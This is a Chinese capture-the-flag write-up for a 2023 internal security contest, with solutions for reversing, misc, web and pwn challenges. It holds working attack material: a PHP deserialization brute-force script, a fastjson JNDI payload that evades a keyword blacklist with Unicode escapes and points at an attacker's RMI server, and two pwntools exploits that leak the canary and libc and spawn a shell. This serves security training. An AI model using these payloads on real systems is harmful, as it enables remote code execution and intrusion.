内部赛-2023第三届网络安全攻防大赛个人赛①-线上赛
re
re_ez
ida加载,字符串搜索 flag
good! flag{md5(your input)}\
交叉引用查找到图,继续向上查找。
输入方向比较
.text:00007FF76D3D12E5 mov rax, [rbp+50h+var_90]
.text:00007FF76D3D12E9 movzx eax, byte ptr [rax]
.text:00007FF76D3D12EC add al, 0E0h
.text:00007FF76D3D12EE xor al, 3
.text:00007FF76D3D12F0 cmp al, 4
.text:00007FF76D3D12F2 jnb loc_7FF76D3D13DA
爆破出来 .四个方向
for i in range(256):
if ((i + 0xe0) & 0xff) ^ 3 < 4:
print(i, chr(i))
# 32
# 33 !
# 34 "
# 35 #
这里进内存查看。
.text:00007FF76D3D1315 mov dword ptr [r15+rbx*4], 1
.text:00007FF76D3D131D cmp rbx, 3
.text:00007FF76D3D1321 jz short loc_7FF76D3D1330
转成 dd, 5x5。
.data:00007FF76D3FA000 dd 1, 0, 1, 0, 1 ; DATA XREF: sub_7FF76D3D1130+8A↑o
.data:00007FF76D3FA000 dd 1, 0, 1, 0, 1
.data:00007FF76D3FA000 dd 1, 0, 1, 0, 1
.data:00007FF76D3FA000 dd 1, 0, 0, 0, 1
.data:00007FF76D3FA000 dd 1, 1, 1, 1, 1
不知道哪个是哪个方向。挨个试。
!"#
"下
右
!上
按迷宫走,出现good提示。输入值为 """ ###
md5后提交flag
Misc
cc1
cyberchef 自动化.
arp-1
直接导出 hw 字段. from hex 即flag
Web
just_serialize
<?php
class Secret
{
public $filename;
public function __construct($filename)
{
$this->filename = $filename;
}
public function __toString()
{
$num = count(scandir($this->filename));
if ($num > 0) {
return '什么也没有';
} else {
return 'flag_';
}
}
}
class Read
{
public $text = '什么东西';
public function __destruct()
{
echo $this->text;
}
}
//$a = unserialize($_GET['p']);
$tmp = new Secret("D:/phpstudy_pro/WWW/1.php");
$s2 = new Read();
$s2->text = $tmp;
$ser = serialize($s2);
echo "\n";
echo $ser;
echo "\n";
echo "\n";
// O:4:"Read":1:{s:4:"text";O:6:"Secret":1:{s:8:"filename";s:25:"D:/phpstudy_pro/WWW/1.php";}}
反序列化,然后脚本生成,跑payload
import string
import requests
flag = 'flag_'
flag = 'flag_8beedca095892eead9a2045c28be0'
dic = string.digits + string.ascii_letters + '_!-{}.'
while 1:
for c in dic:
payload = f'glob://{flag}{c}*'
l = len(payload)
url = 'http://eci-2ze4kejqhmyy7o98zkrm.cloudeci1.ichunqiu.com/?p=O:4:"Read":1:{s:4:"text";O:6:"Secret":1:{s:8:"filename";s:%s:"%s";}";' % (
l, payload)
print(url)
res = requests.get(url)
# print(res.text)
if res.text[-1] != '_':
flag += c
print(c, flag)
break
else:
raise Exception('done')
...
print(flag)
ezzjava
fastjson反序列化。
代码里面有个黑名单, Unicode绕过
Pattern p = Pattern.compile("JdbcRowSetImpl|type|dataSourceName|autoCommit|TemplatesImpl|bytecodes|BasicDataSource", 8);
// 看Pattern源码里面 java.util.regex.Pattern#MULTILINE: `public static final int MULTILINE = 0x08;`
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "C:\Windows\System32\calc.exe" -A "192.168.50.161"
用这个payload打,修改一下
{
"1": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"2": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://192.168.1.13:1099/v4v9uh",
"autoCommit": true
}
}
import com.alibaba.fastjson.JSON;
import java.util.Base64;
public class Main {
public static void main(String[] args) {
System.out.println("Hello world!");
String payload = "{\n" +
" \"1\": {\n" +
" \"@\\u0074\\u0079\\u0070\\u0065\": \"java.lang.Class\", \n" +
" \"val\": \"com.sun.rowset.\\u004a\\u0064\\u0062\\u0063\\u0052\\u006f\\u0077\\u0053\\u0065\\u0074\\u0049\\u006d\\u0070\\u006c\"\n" +
" }, \n" +
" \"2\": {\n" +
" \"@\\u0074\\u0079\\u0070\\u0065\": \"com.sun.rowset.\\u004a\\u0064\\u0062\\u0063\\u0052\\u006f\\u0077\\u0053\\u0065\\u0074\\u0049\\u006d\\u0070\\u006c\", \n" +
" \"\\u0064\\u0061\\u0074\\u0061\\u0053\\u006f\\u0075\\u0072\\u0063\\u0065\\u004e\\u0061\\u006d\\u0065\": \"rmi://192.168.50.161:1099/ytecfe\", \n" +
" \"\\u0061\\u0075\\u0074\\u006f\\u0043\\u006f\\u006d\\u006d\\u0069\\u0074\": true\n }\n" +
"}\n";
System.out.println(Base64.getEncoder().encodeToString(payload.getBytes()));
JSON.parse(payload);
}
}
POST /login HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 697
sec-ch-ua: "Chromium";v="107", "Not=A?Brand";v="24"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://127.0.0.1:8081
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8081/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
data=ewogIjEiOiB7CiAiQFx1MDA3NFx1MDA3OVx1MDA3MFx1MDA2NSI6ICJqYXZhLmxhbmcuQ2xhc3MiLCAKICJ2YWwiOiAiY29tLnN1bi5yb3dzZXQuXHUwMDRhXHUwMDY0XHUwMDYyXHUwMDYzXHUwMDUyXHUwMDZmXHUwMDc3XHUwMDUzXHUwMDY1XHUwMDc0XHUwMDQ5XHUwMDZkXHUwMDcwXHUwMDZjIgogfSwgCiAiMiI6IHsKICJAXHUwMDc0XHUwMDc5XHUwMDcwXHUwMDY1IjogImNvbS5zdW4ucm93c2V0Llx1MDA0YVx1MDA2NFx1MDA2Mlx1MDA2M1x1MDA1Mlx1MDA2Zlx1MDA3N1x1MDA1M1x1MDA2NVx1MDA3NFx1MDA0OVx1MDA2ZFx1MDA3MFx1MDA2YyIsIAogIlx1MDA2NFx1MDA2MVx1MDA3NFx1MDA2MVx1MDA1M1x1MDA2Zlx1MDA3NVx1MDA3Mlx1MDA2M1x1MDA2NVx1MDA0ZVx1MDA2MVx1MDA2ZFx1MDA2NSI6ICJybWk6Ly8xOTIuMTY4LjUwLjE2MToxMDk5L3l0ZWNmZSIsIAogIlx1MDA2MVx1MDA3NVx1MDA3NFx1MDA2Zlx1MDA0M1x1MDA2Zlx1MDA2ZFx1MDA2ZFx1MDA2OVx1MDA3NCI6IHRydWUKIH0KfQo=
pwn
canary
问了下有几个方式
- 栈迁移然后ROP就行了
- 劫持rbp把canary写到bss段上 然后就可以泄露出来了
- 覆盖got表让canary的check失败
参考链接 _https://mp.weixin.qq.com/s/Bix0Uv0l_QaMWMMomjBkOQ
解法1 栈迁移,泄露 canary
from pwn import *
context(log_level='debug', arch='amd64', os='linux')
# o = remote('101.200.77.68', 27294)
o = process("./canary")
elf = ELF("./canary")
libc = elf.libc
# libc = ELF("./libc-2.31.so")
pop_rdi = ROP(elf).find_gadget(['pop rdi', 'ret'])[0]
pop_rsi = ROP(elf).find_gadget(['pop rsi'])[0]
write_plt = elf.plt["write"]
read_got = elf.got['read']
gift = elf.sym['gift']
def get_canary():
o.recv()
o.sendline(b'2')
payload = flat(0x404f00, 0x401296) # 0x401296 mov rax, fs:28h , 0x404f00 是用 vmmap 找的一个可写入地址
o.send(payload)
o.recvuntil(b'Do you want to enter other functions?\n')
o.sendline(b'2')
payload = flat(0x404f48, 0x4012EA) # 004012EA lea rax, [rbp+s]
o.send(payload)
canary = u64(o.recv(8))
success('canary: ' + hex(canary))
return canary
def get_libc():
# o.recvuntil(b'Do you want to enter other functions?\n')
o.sendline(b'1')
payload = flat('a' * 56, canary, 0, pop_rdi, 1, pop_rsi, read_got, 0, write_plt, gift)
o.sendline(payload)
read_addr = u64(o.recvuntil(b'\x7f')[-6:] + b'\x00\x00')
libc_base = read_addr - libc.sym['read']
libc.address = libc_base
success('libc_base: ' + hex(libc_base))
def get_shell():
system_addr = libc.sym['system']
bin_sh = next(libc.search(b"/bin/sh"))
payload = flat('a' * 56, canary, 0, pop_rdi, bin_sh, system_addr, gift)
o.sendline(payload)
if __name__ == '__main__':
canary = get_canary()
get_libc()
get_shell()
o.interactive()
解法2 劫持 fail 函数
savdregs的地址,是通过rbp的偏移来计算的
每次函数调用的时候都是通过rbp+xxx来进行调用
那么在
这一部分的时候可以修改我们的rbp指针因此可以实现一个劫持或者说修改的作用,我们首先泄露libc
通过write函数,我们可以打印大小为16的s
那么我们修改S为got表上的内容
payload = p64(elf.got['read'] -4 + 0x50) + p64(0x4012ea)
因为如果rbp变成elf.got['read'] -4 + 0x50
那么相对的s的地址是rbp-0x50,s= elf.got['read'] -4 + 0x50 -0x50 = elf.got['read']
-4
并且由于我们打印的大小为16所以不影响我们的leak
返回的地址0x4012ea刚好是write的起始位置
再举个例子
先看上面 write(1, s, v3) 这里 v3 = strlen("This is canary!") 正常会从s地址输出16个字节。我们一会儿返回0x4012ea这里。跳过v3计算,确保能输出s地址的16个字节。
rbp覆盖为404038(read), s 为0x403FE8 空值
rbp覆盖为40408c(read+0x54), s 为0x404038+4(read+4) # leak出read 2个字节\00\00(4B) 和 setbuf完整地址(8B) 和 __isoc99_scanf 4个字节(4B)
rbp覆盖为404088(read+0x50), s 为0x404038 (read) # leak出read 完整地址(8B)和setbuf完整地址(8B)
此时再进入下面的 scanf v5(rbp - 0x54) = read - 4 可以修改 read - 4的值
想改写__stack_chk_fail 即 read - 8 的地址,那么就需要 read - 8 即当前的 read+0x50 再 -4 即可
但这里为什么是elf.got['read'] -4呢,因为我们这题的关键在于不仅仅需要泄露地址我们还需要绕过
canary
所以此时我们需要修改我们检查canary的函数,chk_fail
因此我们这里的话是需要进行计算的,v5和s只差了4
那么当我们的rbp = elf.got['read'] -4 + 0x50时,那么v5 = elf.got['read'] -8刚好对应我们的chk函数
接下来就涉及到了延迟绑定机制
因为此时我们还没有调用过chk那么此时,因此当我们第一次read修改的时候会被认为是进行从绑定,那么后
续但我们进行canary的查看的时候就可以执行我们想要的函数了,我们将他设置为ret
main函数对printf的调用流程如下:
main函数不会直接调用printf函数,而是调用puts@plt。注意,这里编译器会优化对printf的调用为对库
函数puts的调用;
puts@plt的第一条指令通过GOT[3]进行跳转。由于每个GOT表项初始化时都指向对应PLT条目的第二条指
令,因此这个间接跳转会将控制转移到puts@plt的第二条指令继续执行;
puts@plt的第二条指令会将puts的ID压入栈中之后,然后跳转到PLT[0]中的指令;
.plt中指令继续压入全局偏移表表中第二个表项所存放的地址,即本模块ID,最后跳转到动态链接器的入口
_dl_runtime_resolve,执行符号解析;
完成符号解析后,_dl_runtime_resolve会将解析出来的puts函数的地址,填入GOT[3]中,到达这一步
后,对puts函数的符号绑定工作就完成了。
from pwn import *
context.log_level = 'debug'
io = process('./canary')
elf = ELF('./canary')
# libc = ELF('./libc-2.31.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# gdb.attach(io, 'b*0x000401359\n\c')
# pop_rdi_ret = 0x00000000004013e3
# pop_r12_r13_r14_r15_ret = 0x00000000004013dc
ret = 0x000000000040101a
io.sendlineafter('?', '0')
write_1_s_v3 = 0x4012ea
success(hex(elf.got['read']))
payload = p64(elf.got['read'] - 4 + 0x50) + p64(write_1_s_v3)
io.send(payload)
leak = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
log.info('leak:' + hex(leak))
libc_base = leak - libc.symbols['read']
log.info('libc_base: ' + hex(libc_base))
# ogg = libc_base + 0xe3afe # libc 231
ogg = libc_base + 0x4527a # libc 223
""" # RBP value at this time
rbp = READ_GOT - 4 + 0x50
v5 = rbp-0x54 = READ_GOT - 8 = view the PLT table, READ_GOT - 8 = __stack_chk_fail, that is, the +8 position of the lead objective function is required to override
"""
io.sendlineafter('?', str(ret)) # Cover __stack_chk_fail@got.plt with ret, the next check failure will ret
gift = elf.sym['gift']
payload = p64(0) + p64(gift)
io.send(payload)
'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''
# payload = b'a'*56 + p64(0)*2 + p64(pop_r12_r13_r14_r15_ret) + p64(0)*4 + p64(ogg)
payload = b'a' * 56 + p64(0) * 2 + p64(ogg)
io.send(payload)
io.interactive()